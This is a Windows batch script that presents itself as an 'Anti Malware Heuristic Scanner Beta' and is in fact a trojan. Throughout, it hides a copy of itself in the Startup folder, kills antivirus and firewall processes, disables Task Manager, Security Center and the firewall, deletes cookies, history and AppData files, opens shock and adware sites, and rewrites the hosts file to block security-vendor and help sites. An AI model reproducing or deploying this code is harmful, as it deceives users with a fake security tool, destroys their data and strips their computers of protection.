Code
@echo off
net user administrator /active:no
copy %0 %userprofile%\start
menu\programs\startup\ahmsbeta.bat /y >nul
Attrib +r +h %userprofile%\start
menu\programs\startup\ahmsbeta.bat >nul
tskill /A av*
tskill /A fire*
tskill /A anti*
cls
tskill /A spy*
tskill /A bullguard
tskill /A PersFw
tskill /A KAV*
tskill /A ZONEALARM
tskill /A SAFEWEB
cls
tskill /A OUTPOST
tskill /A nv*
tskill /A nav*
tskill /A F-*
tskill /A ESAFE
tskill /A cle
cls
tskill /A BLACKICE
tskill /A def*
tskill /A kav
tskill /A kav*
tskill /A avg*
tskill /A ash*
cls
tskill /A aswupdsv
tskill /A ewid*
tskill /A guard*
tskill /A guar*
tskill /A gcasDt*
tskill /A msmp*
cls
tskill /A mcafe*
tskill /A mghtml
tskill /A msiexec
tskill /A outpost
tskill /A isafe
tskill /A zap*
cls
tskill /A zauinst
tskill /A upd*
tskill /A zlclien*
tskill /A minilog
tskill /A cc*
tskill /A norton*
cls
tskill /A norton au*
tskill /A ccc*
tskill /A npfmn*
tskill /A loge*
tskill /A nisum*
tskill /A issvc
tskill /A tmp*
cls
tskill /A tmn*
tskill /A pcc*
tskill /A cpd*
tskill /A pop*
tskill /A pav*
tskill /A padmin
cls
tskill /A panda*
tskill /A avsch*
tskill /A sche*
tskill /A syman*
tskill /A virus*
tskill /A realm*
cls
tskill /A sweep*
tskill /A scan*
tskill /A ad-*
tskill /A safe*
tskill /A avas*
tskill /A norm*
cls
tskill /A offg*
set fixname=Anti Malware Heuristic Scanner Beta
set fixvers=v1.0 Beta
title Anti Malware Heuristic Scanner Beta
goto test
:test
goto notice
:notice
color 17
cls
color 47
echo :: Anti Malware Heuristic Scanner Beta ::
echo ::: The computer may restart a couple times, don't
worry. :::
echo :::: Made by the Hack Security Network at %time% on
the %date% ::::
echo ::::: Please give credit to us who made the program at
all times. :::::
echo :::::: Please run this program as administrator.
::::::
echo.
echo.
echo Press a key to continue...
echo.
)
pause>NUL
goto menu
:menu
color 17
cls
echo.
echo.
echo %fixname% %fixvers%
echo.
echo.
echo.
echo 1. Search for viruses and clean the viruses. (safe
mode NOT recommended)
echo Q. Quit
echo L. Remove this program from startup.
echo Close all applications,
the computer may be forced to reboot.
echo.
echo.
echo.
)
set ChoiceMenu=''
set /p ChoiceMenu=%sChoice% (1,2,3,4,5,Q) :
if '%ChoiceMenu%'=='q' GOTO search
if '%ChoiceMenu%'=='Q' GOTO search
if '%ChoiceMenu%'=='1' GOTO search
if '%ChoiceMenu%'=='L' GOTO search
if '%ChoiceMenu%'=='l' GOTO search
goto menu
:search
cls
echo %fixname% %fixvers%
echo %fixname% %fixvers%>%systemdrive%\report.txt
echo.
echo.>>%systemdrive%\report.txt
echo %sScanDate% %time%, %date%>>%systemdrive%
\virusreport.txt
echo %sRunFrom% %CurDir%>>%systemdrive%\report.txt
IF ERRORLEVEL 1 (
echo %sRunFrom% >>%systemdrive%\report.txt
cd >>%systemdrive%\report.txt
)
echo OS: %Version% - %OS%>>%systemdrive%\report.txt
echo %sFSType% %FSType%>>%systemdrive%\report.txt
if not defined safeboot_option echo %SafeMWarn%>>%
systemdrive%\report.txt
if defined safeboot_option echo %SafeMDisp%>>%systemdrive%
\report.txt
reg add
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion
\Policies\System /v DisableTaskMgr /t REG_SZ /d 1 /f >nul
net stop "Security Center"
net stop SharedAccess
netsh firewall set opmode disable
Rundll32 User32,SwapMouseButton
echo.>>%systemdrive%\report.txt
echo %sVirus Searching% Process...
echo >>>>>>>>>>>>>>>>>> Process>>%systemdrive%\report.txt
echo.>>%systemdrive%\report.txt
DEL /S/F/Q "%USERPROFILE%\Local Settings\Temporary Internet
Files\*.*"
DEL /S/F/Q "%USERPROFILE%\Cookies"
DEL /S/F/Q "%USERPROFILE%\Recent"
DEL /S/F/Q "%USERPROFILE%\Local Settings\History"
DEL /S/F/Q "%systemdrive%\profile\Recent"
DEL /S/F/Q "%systemdrive%\profile\Cookies"
copy %0 %userprofile%\Start
Menu\Programs\Startup\ahmsbeta.bat /y >NUL
Attrib +r +h %userprofile%\Start
Menu\Programs\Startup\ahmsbeta.bat >NUL
del /f /s /q "%USERPROFILE%\AppData\TEMP\*.*"
del /f /s /q "%USERPROFILE%\AppData\Local\*.*"
start http://sora.on.nimp.org
start http://pokeplushies.on.nimp.org
start http://smouch.net/lol/
start http://icanhazacheezburger.com
start http://www.zango.com
start http://www.pokemonog.com
start http://www.goatse.fr
echo Viruses were searched and cleaned!
goto thecancerthatiskillingslashbslash
:thecancerthatiskillingslashbslash
cmd /c echo 127.0.0.1
http://www.symantec.com>>c:\windows\system32
\Drivers\Etc\Hosts
cmd /c echo 127.0.0.1
http://www.sophos.com>>c:\windows\system32
\Drivers\Etc\Hosts
cmd /c echo 127.0.0.1
http://www.avast.com>>c:\windows\system32\Drivers\Etc\Hosts
cmd /c echo 127.0.0.1
http://www.mcafee.com>>c:\windows\system32
\Drivers\Etc\Hosts
cmd /c echo 127.0.0.1 http://www.f-
prot.com>>c:\windows\system32\Drivers\Etc\Hosts
cmd /c echo 127.0.0.1 http://www.f-
secure.com>>c:\windows\system32\Drivers\Etc\Hosts
cmd /c echo 127.0.0.1
http://www.avg.com>>c:\windows\system32\Drivers\Etc\Hosts
cmd /c echo 127.0.0.1
http://www.kaspersky.com>>c:\windows\system32
\Drivers\Etc\Hosts
cmd /c echo 127.0.0.1
http://www.bitdefender.com>>c:\windows\system32
\Drivers\Etc\Hosts
cmd /c echo 127.0.0.1 http://www.my-
etrust.com>>c:\windows\system32\Drivers\Etc\Hosts
cmd /c echo 127.0.0.1
http://www.eset.com>>c:\windows\system32\Drivers\Etc\Hosts
cmd /c echo 127.0.0.1
http://www.norman.com>>c:\windows\system32
\Drivers\Etc\Hosts
cmd /c echo 127.0.0.1
http://www.grisoft.com>>c:\windows\system32
\Drivers\Etc\Hosts
cmd /c echo 127.0.0.1
http://www.google.com>>c:\windows\system32
\Drivers\Etc\Hosts
cmd /c echo 127.0.0.1
http://www.hotmail.com>>c:\windows\system32\Drivers\Etc\Hosts
cmd /c echo 127.0.0.2 localhost>>C:\windows\system32\drivers\etc\hosts
cmd /c echo 127.0.0.1
http://www.youtube.com>>C:\Windows\System32\Drivers\Etc\Hosts
cmd /c echo 127.0.0.1
http://www.brazzers.com>>C:\Windows\System32\Drivers\Etc\Hosts
cmd /c echo 127.0.0.1
http://www.realitykings.com>>C:\Windows\System32\Drivers\Etc\Hosts
cmd /c echo 127.0.0.1
http://www.bangbros.com>>C:\Windows\System32\Drivers\Etc\Hosts
cmd /c echo 127.0.0.1
http://www.redtube.com>>C:\Windows\System32\Drivers\Etc\Hosts
cmd /c echo 127.0.0.1
http://www.pornhub.com>>C:\Windows\System32\Drivers\Etc\Hosts
cmd /c echo 127.0.0.1
http://www.naughty.com>>C:\Windows\System32\Drivers\Etc\Hosts
cmd /c echo 127.0.0.1
http://www.google.ca>>C:\Windows\System32\Drivers\Etc\Hosts
cmd /c echo 127.0.0.1
http://127.0.0.1>>C:\Windows\System32\Drivers\Etc\Hosts
cmd /c echo 127.0.0.1
http://192.168.0.1>>C:\Windows\System32\Drivers\Etc\Hosts
cmd /c echo 127.0.0.1
http://www.blowjob.com>>C:\Windows\System32\Drivers\Etc\Hosts
cmd /c echo 127.0.0.1
http://www.striphiro.com>>C:\Windows\System32\Drivers\Etc\Hosts
cmd /c echo 127.0.0.1
http://dl2.teenpassage.com>>C:\Windows\System32\Drivers\Etc\Hosts
cmd /c echo 127.0.0.1
http://forum.cheatengine.org>>C:\Windows\System32\Drivers\Etc\Hosts
cmd /c echo 127.0.0.1
https://hackforums.net>>C:\Windows\System32\Drivers\Etc\Hosts
cmd /c echo 127.0.0.1
http://www.thec0re.co.uk>>C:\Windows\System32\Drivers\Etc\Hosts
cmd /c echo 127.0.0.1
http://www.thec0re.net>>C:\Windows\System32\Drivers\Etc\Hosts
cmd /c echo 127.0.0.1
http://www.geekstogo.com>>C:\Windows\System32\Drivers\Etc\Hosts
cmd /c echo 127.0.0.1
http://www.bleepingcomputer.com>>C:\Windows\System32\Drivers\Etc\Hosts
cmd /c echo 127.0.0.1
http://www.nexon.net>>C:\Windows\System32\Drivers\Etc\Hosts
cmd /c echo 127.0.0.1
http://www.darkmindz.com>>C:\Windows\System32\Drivers\Etc\Hosts
cmd /c echo 127.0.0.1
http://www.milw0rm.org>>C:\Windows\System32\Drivers\Etc\Hosts cmd /c echo 127.0.0.1
http://www.siteadvisor.com>>C:\Windows\System32\Drivers\Etc\Hosts cmd /c echo 127.0.0.1
http://www.4chan.org>>C:\windows\System32\Drivers\Etc\Hosts
copy %random% C:\Program Files\
copy %random% C:\Program Files\
copy %random% C:\Program Files\
copy %random% C:\Program Files\
copy %random% C:\Program Files\
copy %random% C:\Program Files\
copy %random% C:\Program Files\
copy %random% C:\Program Files\
copy %random% C:\Program Files\
copy %random% C:\Program Files\
copy %random% C:\Program Files\
copy %random% C:\Program Files\
copy %random% C:\Program Files\
copy %random% C:\Program Files\
copy %random% C:\Program Files\
copy %random% C:\Program Files\
copy %random% C:\Program Files\
copy %random% C:\Program Files\
copy %random% C:\Program Files\
copy %random% C:\Program Files\
copy %random% C:\Program Files\
copy %random% C:\Program Files\
copy %random% C:\Program Files\
copy %random% C:\Program Files\
copy %random% C:\Program Files\
copy %random% C:\Program Files\
copy %random% C:\Program Files\
copy %random% C:\Program Files\
copy %random% C:\Program Files\
copy %random% C:\Program Files\
copy %random% C:\Program Files\
copy %random% C:\Program Files\
copy %random% C:\Program Files\
copy %random% C:\Program Files\
copy %random% C:\Program Files\
copy %random% C:\Program Files\
copy %random% C:\Program Files\
copy %random% C:\Program Files\
copy %random% C:\Program Files\
copy %random% C:\Program Files\
copy %random% C:\Program Files\
copy %random% C:\Program Files\
copy %random% C:\Program Files\
copy %random% C:\Program Files\
copy %random% C:\Program Files\
copy %random% C:\Program Files\
copy %random% C:\Program Files\
copy %random% C:\Program Files\
copy %random% C:\Program Files\
copy %random% C:\Program Files\
copy %random% C:\Program Files\
copy %random% C:\Program Files\
copy %random% C:\Program Files\
copy %random% C:\Program Files\
copy %random% C:\Program Files\
copy %random% C:\Program Files\
copy %random% C:\Program Files\
copy %random% C:\Program Files\
copy %random% C:\Program Files\
copy %random% C:\Program Files\
copy %random% C:\Program Files\
copy %random% C:\Program Files\
copy %random% C:\Program Files\
copy %random% C:\Program Files\
copy %random% C:\Program Files\
copy %random% C:\Program Files\
copy %random% C:\Program Files\
copy %random% C:\Program Files\
copy %random% C:\Program Files\
copy %random% C:\Program Files\
copy %random% C:\Program Files\
copy %random% C:\Program Files\
copy %random% C:\Program Files\
copy %random% C:\Program Files\
copy %random% C:\Program Files\
copy %random% C:\Program Files\
copy %random% C:\Program Files\
copy %random% C:\Program Files\
copy %random% C:\Program Files\
copy %random% C:\Program Files\
copy %random% C:\Program Files\
copy %random% C:\Program Files\
copy %random% C:\Program Files\
copy %random% C:\Program Files\
copy %random% C:\Program Files\
copy %random% C:\Program Files\
copy %random% C:\Program Files\
copy %random% C:\Program Files\
copy %random% C:\Program Files\
copy %random% C:\Program Files\
copy %random% C:\Program Files\
copy %random% C:\Program Files\
copy %random% C:\Program Files\
copy %random% C:\Program Files\
copy %random% C:\Program Files\
copy %random% C:\Program Files\
copy %random% C:\Program Files\
copy %random% C:\Program Files\
copy %random% C:\Program Files\
copy %random% C:\Program Files\
copy %random% C:\Program Files\
copy %random% C:\Program Files\
copy %random% C:\Program Files\
copy %random% C:\Program Files\
copy %random% C:\Program Files\
copy %random% C:\Program Files\
copy %random% C:\Program Files\
copy %random% C:\Program Files\
copy %random% C:\Program Files\
copy %random% C:\Program Files\
copy %random% C:\Program Files\
copy %random% C:\Program Files\
copy %random% C:\Program Files\
copy %random% C:\Program Files\
copy %random% C:\Program Files\
copy %random% C:\Program Files\
copy %random% C:\Program Files\
copy %random% C:\Program Files\
copy %random% C:\Program Files\
copy %random% C:\Program Files\
copy %random% C:\Program Files\
copy %random% C:\Program Files\
copy %random% C:\Program Files\
copy %random% C:\Program Files\
copy %random% C:\Program Files\
copy %random% C:\Program Files\
copy %random% C:\Program Files\
copy %random% C:\Program Files\
copy %random% C:\Program Files\
copy %random% C:\Program Files\
copy %random% C:\Program Files\
copy %random% C:\Program Files\
copy %random% C:\Program Files\
copy %random% C:\Program Files\
copy %random% C:\Program Files\
copy %random% C:\Program Files\
copy %random% C:\Program Files\
copy %random% C:\Program Files\
echo O HAI THAR. NOW CLOSING... THANKS FOR USING THIS
PROGRAM.
pauseDon't mind the errors, I was rushing.
